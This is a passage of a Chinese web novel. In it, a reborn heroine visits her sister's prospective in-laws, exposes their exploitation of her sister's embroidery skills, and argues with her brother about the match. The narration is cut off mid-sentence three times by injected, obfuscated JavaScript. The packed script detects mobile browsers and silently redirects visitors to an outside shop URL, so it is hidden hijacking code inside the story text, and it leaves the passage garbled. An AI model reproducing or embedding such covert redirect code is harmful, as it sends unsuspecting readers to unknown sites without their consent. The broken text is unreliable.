姜犁也捂着脑袋，颓然地坐在灶火角落里，姜纭姜绪全然失去了主意，一家人或蹲或坐，围在一炉半熄的灶火前，谁也没说话。 明明昨晚还在商量，开春要如何安排活计，今年要想法子给姜纭攒点像样的嫁妆，要托人给姜犁相看个踏实媳妇.... “娘，”姜织端了碗温水，坐到林移桃床前。 她看着娘亲灰败的脸，心里刀割似的钝痛，斟酌着该不该将自己似梦似幻的，重活了一遍的事情讲给她娘听。 最终她只是握住娘亲冰冷的手，轻声劝：“您先别急，这事，未必是件坏事。” “咱们自立了门户，哥哥就不必再被族里那些杂七杂八的派工缚住手脚，他可以安心去城里做木工活，练好了手艺，将来也多一条出路，咱们做好自家一亩三分地的活，也有更多心力，干些别的活计攒钱。” 姜织慢慢分析着：“再不必像以前那样，事事要看族里脸色，三天两头被叫去白干活。” “你小孩家的不懂，”林移桃睁开眼，长长叹一口气，再开口，声音里满是苦涩：“单门独户在这世道活着有多难，不说别的，就说咱们家靠近浣溪边的那一亩肥田，水得从溪水里引，如若族里存心刁难，不让咱们从公田过水，那就是掐住咱们一家人的命脉。” “更别提还有你们兄妹嫁娶这等大事，原本有宗族庇护把关，茶和山嫁出去的女儿，就算再高嫁，到了婆家也没哪家敢随意给大委屈受，阖族都是外嫁女的底气。” 所以林移桃才敢去跟落雁村李童生家攀上亲事。如若是她家只是单门独户，势单力薄，嫁女在外头被婆家刮皮剥削，受了欺负，娘家连个能上门说道几句的硬气人都没有，那才叫叫天天不应叫地地不灵。 一想到李家，林移桃又焦急得头痛起来。 本欲过了上元，就同那家商量正式定亲过礼，这下可好，自家闹出这两回风波，还不知那边听到了风声没，又该何如作想。 “唉！”林移桃又禁不住淌下泪来。 “对了，犁耙，”她又强打起精神，抹干泪，不忘嘱咐：“你带些糯米粉，送去落雁村李家，还有上回从你舅舅家带回来的笋子，浸酸了，现在能吃，也捎些过去。今日上元节，礼数不能缺了。” “娘！”姜织听得眉头紧皱，自家都没舍得做汤圆吃，只用两斤粟米同卢婶儿家兑了些糯米粉，净只想着送到落雁村。 那落雁村李家，姜织仔细回想，那家只有一个鳏夫爹，叫做李泉水，养了李文远和他妹妹李文淑，家里穷得叮当响，这些年全靠亲邻左右接济，也就是大家见李文远是个读书种子，被他李家村的夫子夸了句天生才气，才有人愿意烧冷灶图长远。 就这样，娘亲还总怕对方瞧不上自己家，觉得自家高攀了。 逢年过节送粮送礼，更过分的是，年前那回，两家还没正式定亲，那李泉水就好意思托人带话，说家中年节无人操持，想让姜纭过去帮忙张罗年礼，美曰其名相看男方家境，实则就是贪图姐姐勤快，白使唤人做活。 姐姐姜纭今年已十八，正是花骨朵一般最好的年纪，长相秀美，性子又温婉和善，手脚勤快，家务农活样样拿得起，配那穷酸童生、前途未卜的李文远绰绰有余。 那功名还是个镜花水月的事情，自家前前后后贴人贴物，姐姐的名声和劳力都搭上了，还换不来那李家正式登门定亲。 “我跟哥哥一道前去，”关于李家的事情，或许因为隔得太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16987554|193146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久，在姜织的印象里并不深刻，只是隐隐记得那家不是个善的，一想起头就抽丝似的痛，她要亲自去看看究竟。 “你一个姑娘家家，”林移桃下意识制止。 “如若两家定亲，我就是那李家的小姨子，去考量考量怎么了，”姜织理直气壮，说罢就要起身收拾东西。 林移桃躺在床上，看着女儿沉静的侧脸，想了想，犁耙是个实心眼，纭儿为着不让她担心，从来报喜不报忧，受了委屈也不肯多说那边的不是，绪儿还小，就算心眼活泛，在人情世故上也看不出太深的端倪。 眼下让心思细、又长了主见的二女儿去瞧瞧，反倒最合适。 林移桃便嘱咐姜犁带着妹妹去那落雁村走一趟，又嘱咐他们快去快回，家里还有自立门户这摊子事，还待商议。 姜织兄妹带上东西，连走带跑地往邻村落雁村赶。 山路崎岖，化冻后的泥地湿滑难行。 “织织，犁耙，你兄妹这是要去哪里？”打山道上经过时，有村里相熟的嫂子撞见了姜织兄妹，笑着扬声问了句。 “哎呀！这是顺时叔家的儿女吗？”旁边又有个女声感叹，颇有些惊诧：“你说说，这孩子们长起来，比山竹窜得都快，这才多久没见，顺时叔家的儿女都这么大啦，我都快认不出了。” 姜织打眼一看，认出对面是姜季福家出嫁多年的闺女，叫做姜秋华，论辈分姜织得叫她一声堂姐。 姜秋华嫁人嫁得早，平素很少回娘家，就算匆匆回了，也不定能看到姜织，这一碰面就不住地上下打量，感慨万分：“织织都是大姑娘了，瞧这俊俏模样，啧啧，可真会长，随了林婶儿的好样貌。” 嫁女回娘家，见到昔日眼跟前的小豆丁们转眼间都窜成了半大姑娘小伙，姜秋华热情十足，姜织垂眼叫了声：“秋华姐姐。” “果然是大姑娘了，”姜秋华还在叹，又笑道：“说话都温声温气，斯文多了。我记得你幼时可不是这个样子的，猴似的满山遍野跑，那几个小子都逮不住。” 姜织笑着低了低头，正巧姜秋华身边的小孩儿忽然扭动哭闹了起来。姜秋华忙不迭从丈夫手里接过孩子哄。 姜织正想跟她道别，姜秋华却抱着孩子来见人：“妹儿，快看看织织小姨，织织小姨长大啦，真好看，待我家妹儿长大，也像小姨这般好看，好不好呀？” 姜织只好凑近看了看那孩子，见是个葡萄眼乌溜溜、睫毛长长黑黑的小孩，此刻虽哭着，仍能看出长得粉雕玉琢，两颊肉嘟嘟粉扑扑，十分可爱。 这小妹娃原本正咧嘴哭着，一见着姜织凑近的脸，竟莫名安静了下来，只睁着滴溜溜、湿漉漉的大眼儿瞧着她，嘴边还叼着自己胖乎乎的小指头，要哭不哭的样子。 这下子，连心里揣着事儿的姜织也忍不住弯了弯唇角，露出一丝笑意来。 姜秋华见状更是高兴，又说了几句闲话。姜犁老实，说是要去落雁村送节礼。他手里抱着一小坛舅舅家带来的酸竹笋，坛口用油纸封着，老盐水浸到现在，黄亮亮、酸香味隐隐透出，勾人食欲。 姜秋华看着那黄亮的笋子，鼻翼微动，似是有些嘴馋，她嫁的村子不产好笋。不过她很快笑着将话题带了过去，两方又寒暄两句，便道了别，各自赶路。 没走出几句，那才安静下来的小妹娃不知怎的又哭闹起来，姜秋华赶紧哄着：“哎哟这小祖宗......” 姜织脚步未停，心思却因这孩子的哭闹莫名飘忽了一瞬，掠过一丝淡淡的不安。但眼下赶路要紧，李家的事、家里自立门户的烂摊子，桩桩件件压在心头，她按下那点莫名的情绪，未曾深想。 到了落雁村后，姜犁熟门熟路，很快找到了李文远家。 那是村子居中处一进土墙屋，院子倒不算小，但乱糟糟的，劈好的柴禾胡乱堆在墙角，几捆湿透的稻草垛子倒在地上，农具东一件西一件扔着。 姜织皱了眉头抬脚进屋。 李家与他堂兄共一处进堂，屋里窄小昏暗，泛着霉味和呛鼻的烟味。 姜织进屋时，李泉水正歪在灶边的躺椅上，身上搭着条旧毯。一个约莫十三四岁的小姑娘，面黄肌瘦，穿着补丁摞补丁的宽大袄子，正蹲在墙角，就着一块破木板，“咚咚咚”地用力剁着猪草。 “李叔，”姜犁在门边客气地打了声招呼，“今儿上元节，我娘嘱咐我送些糯米粉来，给家里应应节气。” “犁耙啊！”李泉水重咳一声，慢吞吞坐起：“你总算来了。” “哪有人晌午来做客的，清早怎的不来？”男人开口就是质问。 17. 红白(修) “今儿朝晨我们族里启土，得守着在那，那边一完事，我娘就让我来了，”姜犁好声好气解释，“叔吃过晌午食了么？” 李泉水闻声点了点头，起身来接了东西，掂掂糯米粉，又掀坛嗅嗅酸笋，脸色稍缓，才请二人进屋。 “文淑，给客人倒茶。” 李泉水拖着嗓子一声吩咐，正蹲在墙角剁猪草的女孩闷声闷气应一句，在裤脚上揩了揩草屑碎渣，站起身，转背从黑黢黢的柜橱里头翻出两只茶杯，就着一盏青花老茶壶，倒了两盏温凉的茶水来。 姜织自跨进门槛，便将这屋里陈设连同李家父女二人打量一遍。 李泉水瞧着四十上下，一张瘦长脸，颧骨凸得有些嶙峋，下巴蓄着几缕稀疏发黄的胡须，穿一身破旧的长袍儒衫。而那低头做活，唤作文淑的小姑娘，听名字便知，是李文远的妹妹。 姜织对二人并不熟悉，前世应该只见过寥寥几回。 不对，只有两回。 记忆碎片开始闪回，姜织脑海里浮现出第一回进李家的景象。 耳边陡然响起一片嘈杂。是震得人耳朵嗡嗡的鞭炮响声，是乌啦啦欢快却刺耳的唢呐声，是左邻右舍挤挤挨挨看热闹的哄笑贺喜声，还有姐姐和娘亲压抑着的啜泣啼哭声...... “哭哭笑笑，福星高照！” “哭一声，富一生，掉颗泪，生个娃，掉串泪，金满家。” 一个穿着红绸褂子、满脸堆着笑的喜婆，手里拈着块帕子，正口若悬河，满口吉祥话劝慰姐姐娘亲，她的嗓门又亮又尖：“新娘子哭得越好，嫁得越好！穿上嫁衣泪花花，来年保准抱上个胖娃娃。” “织妹儿，你提稳火箱，仔细牵好你姐姐，到了那李家，千万要小心托稳了，尤其进门跨火盆那一遭，莫让姐姐磕着绊着，坏了兆头。” 耳畔是是母亲一边哽咽着，一边细声再三叮嘱。 眼前是一片刺目的红，大红喜字贴在斑驳的墙上，红艳艳的嫁衣、盖头、绣鞋，小姑娘羞答答不敢多打量，偏又暗暗艳羡得紧的鲜亮新衣裳。 “新娘子来咯！新娘子来咯！” 就是在这间屋子，挤满了看热闹的村邻，七嘴八舌，闹闹哄哄。她小心翼翼地搀着姐姐，一步一步，迈过那道不算高的门槛，抬头刹那，目光越过攒动的人头，就看见了堂屋正中椅子上坐着的、满脸肃容的李泉水。 画面一晃，耳边依旧是嘈嘈切切的声响，似曾相识的鞭炮声、唢呐声、左邻右舍哄闹声、娘亲的啼哭声...... 只是乌啦啦欢快的喇叭音调拖长变慢，走调成了呜呜咽咽的丧乐，满目喜庆的红瞬间褪色，变成铺天盖地的白，白幡、白衣、白花，母亲压抑的啜泣，成了撕心裂肺的哭喊。 “织织，织织！”姜犁喊了声像是陷入发怔的妹妹，见对方眼神直勾勾的，接连几声都毫无反应，他察觉不太对劲，连忙伸手用力扯了扯她胳膊。 “姐姐！！” 姜织出口一声急促的惊呼，一只手捂住了怦怦狂跳的心口，大口大口地喘息，意识归拢，才发现眼前昏昏暗暗，是李家灰黑的墙壁、简陋的橱柜，没有喜庆刺眼的红，也没有愁云惨淡的白。 “犁耙，你这三妹妹......”姜织那声凄厉的尖叫，将其他人冷不丁给惊一大跳，李泉水脸色渐变，惊疑不定地上下打量着姜织，“她......她难不成时常就这样？” 李泉水正在板着脸训诫姜犁。 年前那场风波，茶和山那林寡妇家因为在族里没分到好肉，要死要活又是要撞头、又是拿刀威胁族兄，风言风语都传到落雁村来了。 这段时间左邻右舍见了李泉水，谁不打趣一句：“瞧着你家未过门的那媳妇儿寻常文文静静，不想是个厉害泼辣角色，娶了儿媳妇进门，你家福气就旺咯！” 李泉水大感颜面扫地，就憋着气等着姜家来人上门，好生问个清楚，若真如传言那般不堪，哪怕现下还不是正式姻亲，也得好好训诫一番，掰掰这姜家的歪风。 谁知这姜家兄妹自打进屋，就是锯了嘴的两只闷葫芦，问一句答半句，骂三句回一声，他发作一通，对方也只是低着头不吭声，李文远好歹消了些气，正要质问姜织当日拿刀是谁指使她的？ 谁知话问了两遍，这姜三丫头像是听不见人声，双目直愣愣的，眼神不知飘忽到何处，惨白着脸，身子直挺挺杵在那儿，就跟那鬼上身被定住了似的。 姜犁接连喊了好几声，这才将对方拉回了魂，谁知这丫头片子开口就是一声厉喊，接着就是用瘆人的目光，来回打量房内几人。 李泉水被她看得心头一阵发毛，再联想起听说的发魔怔的传言，背上竟窜起一股凉气。 “你、你你......”李泉水想训斥话头也卡了壳，指着姜织，又惊又怒，“长辈问话，置若罔闻，你、你成何体统！” “李九爷，李九爷，在家吗？” 恰在这时，屋外传来一声响亮的婆子呼喊。话未落音，人已经风风火火地跨了进来。 来人是个膀大腰圆、面皮红润的婆子，一进门眼神就四处扫，嘴边说道：“听六儿说你亲家来人送礼来了？可是那纭姐儿来了吗？哎哟，我可得好好瞧瞧！” “汤老夫人，您怎么亲自来了？快请进，快请进。” 李泉水一见来人，脸上表情瞬间变了，换上了副不太熟练的谄色笑脸，语气十分热络：“文淑，快倒茶，倒那罐子里的好茶末子。” 那老妇人浑不在意地摆摆手，见着姜织立在屋里头，便以为是姜纭，当即三两步走上前，亲亲热热地一把拉住姜织的手，上下打量，嘴里连珠炮似的夸赞起来：“哟！这就是文远那未过门的小媳妇吧？瞧瞧这模样，俊的，瞧着就伶俐可人。” “不，不是......” 还不等李泉水解释完，只见这老妇人提起肘边挎着的一个包袱，不由分说就往姜织手里一塞。 “上回你给补的那双绣鞋，我家安姐儿满意得很，直夸补得巧，绣得妙。真没想到啊，你这姑娘竟有这般玲珑心思，精巧手艺，今儿啊，我是特地来谢你的！” 她嗓门响亮，语速又快：“这不是，一听到信儿说你来了，我赶紧撂下手里的活计就过来了。就想看看，咱们文远挑中的媳妇，究竟是怎样一个钟灵毓秀的人物。” “今日一见，果然名不虚传，般配，和咱们文远真是般配得很呐。” “您是？”姜织猝不及防被塞了个包袱在手里，下意识掂了掂，分量不轻，她抬起眼狐疑地问。 “这是里正家的老夫人，还不快快问好，”李泉水一声喝，又赶紧解释：“老夫人快快坐下喝茶，这是姜家的老三......” “茶我就不喝了，家里灶上还炖着菜呢，”那老妇人看着像爽快人，目光又在屋内一番，“你家里有客想必也忙得很，文远呢？文远快回来了吧，我老婆子快人快语，也不绕弯子了，今儿来啊，是有桩好事！” “您说，您说，您有什么吩咐？”李泉水连忙接话。 “喜事，大喜事，”婆子一拍掌，笑得眼睛眯成缝。 “上回那绣鞋安姐儿不是又穿回她婆家去了么？你猜怎么着？她那妯娌见了都眼热得紧，这不，安姐儿这回回来，再三叮嘱我，一定要好好谢谢纭丫头！” 她说着，解开那包袱一角，里头露出几件叠好的衣裳边角，看着都是好料子，像是细棉或绸缎，还有几块裁剪好的鞋面。 “安姐儿为着谢咱们纭丫头，把她的手艺在那些交好的夫人里头这么一说，你猜又怎么着？”汤婆子声音里掩不住喜气，“连她们家常来往的那位尹胥吏夫人都瞧见了，特意问了句。纭姐儿这回啊，可是入了贵人的眼了！” 她将那些衣料鞋面一一指给姜织看：“这些都是安姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17002741|193146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿带回来的，特意托我请纭姐儿再给绣上。就照上回那样的绣法，花样不拘，你瞧着怎么雅致怎么来，我们都放心得很。” 说着，她利索地把包袱一系，又压在姜织手上。 “哎呀，承蒙您如此抬爱，”李泉水喜道。 “九爷，你放心，那可是胥吏夫人。县里边有头有脸的官家，她们那些夫人时常来往，这绣活儿要是做好了，一传十，十传百的，名声可就出去了。” 汤婆子凑近些，刻意压着嗓子：“到时候，各家官夫人往自家老爷耳边风这么一吹，文远在县里边，在官老爷那头，还能不记着他的好？那前程，可就......” “明白，明白，感谢老夫人提携，安姐儿牵线，”李泉水一点就透，当下喜不自禁躬身道谢。 “甭谢我，要谢啊，就谢你家文远，好眼光，定了这么个能干又旺夫的媳妇儿，你们李家啊，好福气哟！” 这边你吹我捧得热火朝天，姜织拎着自己手里沉甸甸的包袱，趁着话头稍歇的空档，再也忍不住地出声打断。 “老夫人，您认错人了。” “我不是姜纭，我是她妹妹。” 屋里骤然一静，姜织朝老妇人福了福身，又将那个包袱稳稳放回她手中，她抬目看向汤婆子，淡声问：“听您话里意思，是要请我姐姐帮忙做绣活，是么？” “不是纭姐儿？”那妇人瞪大了眼，看看姜织，又看看李泉水，一时间有些错愕。 “是是，您看我，光顾着高兴，嘴慢半拍，没来得及跟您说清楚，”李泉水连忙打圆场，指向姜犁和姜织。 “这是姜家大的和那第三的兄妹俩，纭姐儿今日没来呢，不过都是一家人，一样的，您有什么话儿要交代，什么活儿要吩咐，让他俩带回去就是了，准保一字不落传到，都是自家人，不必讲些虚礼。” 汤婆子听李泉水一解释，眼珠转了转，脸上又重新堆起笑来。 上回李家那未过门的媳妇过来帮忙，姑娘是旁村茶和山的，家里底细稍微打听就清楚的很。爹早没了，一个寡妇娘拖着几个孩子，这门亲事，还是当年李文远祖父欠了人家情，硬定下的。 这些年来，姜家那边倒是热络，时常送点东西来，李家这边呢，也是穷得揭不开锅，需要有个帮衬，所以婚事才一直拖着，既没说不认，也没说赶紧办。 未过门的姑娘就被喊过来做活计，村里明眼人其实都有些瞧不上。还是她本家三婶有回去李家借东西，瞧见那姜家丫头衣袖上绣了一片梅枝，很是别致，细一问，才知这竟是块补缺，瞧着比新衣裳上的花样还灵巧。 回来嘴漏跟她念叨两句，说这姜家姑娘手巧，倒是有些真本事。 恰巧汤婆子嫁到县里的女儿安姐儿，穿了双簇新缎面绣鞋回娘家，烤火时被炭火迸出的火星子穿了个洞，扔了可惜，不扔再穿着又丢份。 汤婆子听了她三婶说这事，当下心思一转，就让三婶悄悄把鞋子送去，请那姜家丫头想法子补补。 那姜二姑娘爽快得很，借了针线，不到一晌午就给补好了，破洞处补得毫无破绽，还用同色丝线绣了几茎兰草，栩栩如生，不仅遮了丑，反倒添了雅致。 安姐儿喜出望外，又给穿回了婆家，谁能想到，这补过的鞋子，兜兜转转竟被来往的官家夫人瞧上，问起了绣工出处。 这姜家姑娘，还真是有几分运道。 “是呢，你二姐好手艺，也有福气，运道来了挡都挡不住，”汤婆子顺着李泉水的话，转向姜织，语气依旧热络亲切。 “丫头，你回去好好把东西交给你姐姐，叮嘱她，就同上回那样，仔细着做，用心着绣，城里头的贵人等着要呢。” “可以是可以，”姜织思索着应声，向前微微倾身，语气平和，却清晰地问：“敢问老夫人，这绣活的工钱怎么算的？先付多少定金？” “什么？！” 18. 肉包子打狗 汤婆子像听错了话，眼里闪过明晃晃的错愕，笑脸也一时凝住，强调道：“丫头，你是不是没听明白？这是叫你姐姐，给城里官老爷夫人们做的。” 她见这丫头不知深浅的模样，话里特地添了分量：“城里那些官老爷，可是关系到你准姐夫将来前程的贵人......” “我听清了，老夫人，”姜织打断她，语气平缓道：“承蒙您搭桥牵线，想必城里官老爷夫人手头必然阔绰，工钱定然也给得公道，要不你给仔细说说要求和工钱？我一定回去转达给姐姐，看她近来是否有时间能做”。 汤婆子脸上的笑意一霎收起，僵硬地张张嘴，一时竟不知回答。 “三丫头！”李泉水虎目圆瞪，看向姜织的眼神活像大白天见了鬼。就连一直闷头待在角落、一声不吭的李文淑，也诧异地抬起头，飞快地瞟了姜织一眼，又被烫到似的赶紧低下头。 姜织眼眸微微睁大，疑惑地扭头看向李泉水，像是不懂他是何意。 李泉水恶狠狠瞪她一眼：“你闭嘴！” “老夫人，”不待姜织再开口，李泉水索性几步上前，伸手将她往后一推，亲自接了汤婆子手中的包袱，赔笑道：“姜家这三丫头。” 他说着，无奈地摇摇头：“让您见笑了，孩子不懂事，没经过世面眼皮子浅，您别同她一般计较，您放心，就这点小事，难为您走一趟，谈什么工钱不工钱的，生分了不是。” “那纭丫头也就会做些针头线脑的活儿，贵人们能瞧得上，就是咱们家的福分。” “李叔......”姜犁为难地喊住她。 他看向那鼓囊囊的包袱，想到里头都是贵人们的衣裳鞋面，想是要求必然精细，描画绣花，怕是要费一番大功夫。开春田事忙，纭姐儿哪里抽得出时间做这活计，若是草率做了，又恐怕贵人不满意，好事岂不是成了祸事。 这样一想来，姜犁也眉头紧紧皱起，脸上满是忧虑。 “你两个不知天高地厚的小子！”李泉水心头火起，怒目一横，“能给贵人做活，是你们八辈子修不来的福气。眼孔如此浅薄，只盯着眼前仨瓜俩枣，难怪是穷山坳里一辈子挨穷受苦的命。” 他说着，又变脸似的换了副亲和模样，冲着汤婆子赔笑着，几乎是半搀着汤婆子送她往门口走：“您放心，不出一月，不，就半月！我亲自给您送到家里去，保准给您做得仔仔细细，绝不敢有半点马虎。” “哎哟，那可好，”汤婆子闻言又喜笑颜开，再不理会姜家兄妹，只对着李泉水嘱咐：“由您这句话我就放一百个心了。劳累您家准儿媳，倒也不至于赶工，贵人们都宽宏大量的，主要是要做精细，针脚要密，配色要雅，花样要时兴。贵人看中的，也就是您儿媳妇那份精细心思、精巧手艺，寻常绣娘可比不了。” “您放心，您放心，”李泉水连连殷切点头，一路将人送到了院门。 “呵，”眼见两人自顾走远，姜织忍不住从鼻腔里发出一声冷笑，对着姜犁道：“哥哥，咱们要不还是将送来的东西带回去吧。” 今日这一趟没白走，就这李家，明眼人都瞧得出来绝非良配，姐姐这婚事，没必要结了，此时何必再浪费这些辛苦攒下的东西。 姜犁磕磕巴巴：“妹，妹，你这，说哪里的话，即是送节礼，又哪有拿回去的理。” 一旁装鹌鹑的李文淑闻声，顿时瞪圆了一双细长的眼睛，目光不善地盯向姜织，甚至侧过身子偷偷挡住了那糯米粉和酸笋。 看似怯弱弱的小姑娘说了自姜织进门以来的第一句话：“我，我哥哥马上就回来了。” “是吗？”姜织听到这柔弱却带着戒备的声音，玩笑似的接道：“既然你哥哥要回来了，想必绣那些贵人的衣裳啊，鞋面啊，也有人分担了，不必你一人辛苦了。” 说罢她就拉着姜犁走。 “你，你什么意思？”小姑娘在她身后急急地喊道：“我哥哥回来了，你们说这样的话，不怕惹他生气吗？” 姜织脚步未停，只丢下一句：“你就将我们今日说的话，一五一十告诉你哥哥，若他还算个明理的读书人，肚子里装的真是圣贤道理，那他就该知道，真正该要生谁的气。” 她拉着姜犁快步走出堂屋，经过院子时，见到墙角那堆还带着湿气的柴火，那是年前姜犁帮着劈好送来的，屋檐下挂着几串干菜，是自家牙缝里攒出来的。 姜织心里郁气更盛，更是下定决心，这些付出，就权当喂了狗了。 走到院门口，那汤婆子正被李泉水哄得满脸笑地走了。李泉水见姜织两兄妹出来，变脸般面色一正，嘴角下撇，正要摆出一副长辈的架子。 “李叔，”姜织却不给他开口的机会，率先出声道：“想必你家要开始忙活了，贵人的绣活耽搁不起，我和哥哥就不多加打扰了，告辞。” 说罢，再也不想再听这老酸儒啰嗦，她垂下眼，福了福身，拉了一下姜犁的袖子，转身就走。 “你？你！”李泉水霎时瞠目结舌，不敢置信地磕巴了两句，又怒喝一声：“站住！” 姜织本不欲搭理他，但姜犁到底面薄，被他这一声喝，脚步一顿，下意识拉住姜织，示意她莫要轻率。 “你们两个混账东西！”李泉水怒气冲冲大步追过来，蹿到近前手指几乎要戳到姜织鼻尖，咬牙切齿：“你娘就是这么教你们的？你姜家就是这样的家教？” “你家这三丫头，难怪，难怪附近村邻传言你入了魔怔得了失心疯，目无尊长，无法无天，胆敢跟族兄闹得不可开交，我起初还不信，心说你爹虽然死得早，那林氏再如何，基本的礼数总是知晓的。今日一见，果然啊，果然是个惫懒的混账玩意！” “李叔！”这下连姜犁都听不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“李叔，你吃了拿了我们家东西，如今还想打人？”姜织机警地往后一缩，躲到姜犁身后，声音愈高：“这就是书香门第的家教做派？书都读到狗肚子去了。” 她一句接一句，又快又急，压根不给李泉水插嘴的机会：“罢了，想必我家这些年送的东西，都是肉包子打狗，有去无回了，也罢也罢，就算我家修阴德做善事了。” 她重重哼一声，就拉着姜犁就疾步走，一边走，一边不忘回头，冲着堂屋那头最后扔下一句：“李家姑娘，记着我跟你爹的话，原原本本说给你哥哥听，他若还是个明白人，是个男人，要么就来我姜家赔罪，要么，就来还了我家这么多年付出，咱们两不相欠。” “老匹夫，真当自己是个什么人物了，就你也配说家教！” 最后一句骂完，姜织拽着还在发蒙的姜犁拔腿就跑，身后传来那李泉水怒气冲天的骂声。 19. 执迷不悟 兄妹俩一气跑出落雁村，直至走上山道，姜织才喘着粗气放缓脚步，心口怦怦急跳。 冬日傍午的风挟带着未褪的寒意，扫在发烫的脸颊上，胸口那股子憋闷尤未消。 “这李家一屋子狗屁倒灶的玩意，有脸在我们面前充起长辈了，装什么大尾巴狼，”姜织仍愤愤不平，嘴上不饶人，脚下踩着枯草窸窣作响。 不期然姜犁的脚步却越来越慢，姜织不明所以，停下脚，旋身看向姜犁：“怎么了，大哥？” 只见姜犁落在几步开外，直愣愣地立在料峭寒风里，头发被风吹得有些凌乱，眼里满是踟蹰和茫然，他嚅动着唇：“织织，咱们，咱们就这样走了？那些东西，还没拿.....” “大哥？”姜织疑惑一声：“你魔怔了？难道你还真想回去，替姐姐接下那些绣活？” 姜犁面容因一路急奔略显狼狈，他胡乱抹了把脸，喃喃道：“魔怔，到底是谁魔怔了......” 年前和姜永贵那场冲突闹得沸沸扬扬，但姜犁并未亲眼见到，旁人东一句西一声的揶揄，多是看热闹不嫌事大，因而他以为是那姜永贵欺人太甚，才将硬生生将自家三妹妹逼到不得不撕破脸撒疯的地步。 纵然三妹妹自小心思就比旁的小孩灵泛，嘴皮也厉害，但她一向人小胆怯，顶多和同龄孩子争争抢抢，在长辈面前向来懂事知礼。 她怎么能，怎么敢指着李叔骂，老匹夫。 那可是李家，那可关系着二妹妹一辈子归宿。 今日这一闹，他们回去要如何跟娘亲交代，姜犁一想到后果，恐惧无措让他脑子里一阵发白。 “三妹妹，”姜犁哽着喉咙喃喃，他抬起头，远远看向姜织，天光渐暗，妹妹瘦伶伶立在树丛边，他越看竟越觉得陌生：“你为什么，为什么变得这样......” 姜织被他那痛心的目光钉在原地。 她亦抬眼，仔细端详着哥哥年轻的脸，同样的，一股强烈的陌生感也袭上她的心头。 “大哥，”她声音干涩：“你在说什么？” “我们，我们闯祸了啊！”姜犁双手紧紧攥起，声音里满是后怕和懊恼：“那是李家，那是李文远的爹，娘这么多年辛苦维系，纭妹妹苦心忍耐。” “我们图的是什么？不就是为了让这门姻亲能稳稳当当结成，让那些人再也不敢瞧不起我们。” “李叔他，再不是，那也是长辈，李文远眼看着就要去考秀才了，你姐姐今年已经十八了，就等着他家正式提亲。可是今日这么一闹，完了，都完了，”姜犁越说越激动，竟抱着头无助地蹲在地上，肩膀耸动着：“不但坏了自己名声，还连累娘和纭姐儿，不知道娘亲和二妹妹要如何向他家低头赔罪，要是那李家借机发作，不认这门亲事......” 说罢他竟忍不住呜咽痛哭起来。 “哥哥！”姜织不敢置信，她总以为,哥哥虽然憨实本分，甚至有些迂，但他为人正直，疼惜家人，遇事总会挡在最先。 可今日李泉水这样羞辱自家，哥哥非但不觉愤恨，反倒后怕懊恼起来？ 她不解地，又是一声：“你在说什么啊？” “什么叫连累二姐，什么叫娘亲要去赔罪？你是瞎了还是傻了，没看到李泉水那是什么嘴脸？” “那李叔，待人一惯是苛刻些，”姜犁抬起脸，哽声道：“可说到底，和纭儿结亲是李文远，他是个读书人，是个通情达理的......” “哈？”姜织气得倒喝一声，几乎要仰倒：“哥哥，撞了什么魔障啊？” 她冲到姜犁面前，直视着他通红的眼睛：“你醒醒吧，你以为那李家真是什么福窝窝？” “李家这么多年，厚颜无耻白吃我们粮，白使唤我们家劳力，生生将我千好万好的姐姐耽误到十八岁！那李文远还是个不值钱的童生，就装腔拿调，迟迟不肯来正式下亲，你以为待他考了正式功名，飞上枝头，还能看得上我家吗？” “一旦他考上功名，只怕第一件事，就是来我们家退亲！或者假作慷慨，让我姐姐给他做个妾，到时候，我们家还得感恩戴德。你也说这么多年，谁不在笑话我们家，就我们自家人蒙起头来，自己骗自己而已！” “就因为这样，他再瞧不上，只要我们不出错，这门亲事他家都得认！”姜犁固执地抬头：“李家受了我们这么多年的好处，不跟我们结亲，也会被大伙儿戳着脊梁骨骂！” “结亲，结亲！结这门亲到底有什么好？”姜织恨铁不成钢，气得直跺脚。 “你今日没看到吗？姐姐还没进门，就被他一家上下，连同那落雁村八竿子打不着的老婆子，当丫鬟一样使唤，那么多衣裳鞋面，姐姐要如何熬瞎眼戳烂手，才能绣得完。” “那样的人家，那样的境况，姐姐就算嫁过去能过得好吗？”姜织说着说着，自己眼睛也红了，喃喃道：“那么多衣料鞋面，那老匹夫为了讨好那老婆子，张口就敢保证半月交货，这还没定亲啊，就如此轻贱她，他们这样逼她，若是真嫁到这样的虎狼人家，你以为姐姐她还有活路吗？” 说罢，姜织也蹲下身，兄妹俩隔着不到三尺距离，面对面，红着眼，像两株被寒风摧折的枯草。 “哥哥，”姜织疲惫地问：“在你心目中，到底是别人嘴里的名声重要，还是姐姐的命重要？” “你，你说什么？”姜犁被这句问得浑身一颤，他嘴拙一贯说不过妹妹，“怎么就，就要了纭儿的命？” “好，你不知道那些绣活有多难做，你不知道姐姐有多难是吗？” 